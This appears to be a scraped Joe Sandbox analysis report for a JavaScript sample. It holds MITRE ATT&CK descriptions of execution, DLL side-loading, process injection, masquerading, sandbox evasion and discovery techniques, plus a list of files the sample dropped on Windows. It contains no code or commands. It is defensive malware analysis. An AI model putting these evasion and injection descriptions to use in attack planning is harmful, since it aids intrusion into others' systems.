Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 853872402647317272.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e33fd2e6-df2c-46c1-a2fa-f8bdcc175dcb.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6532

Windows Analysis Report
853872402647317272.js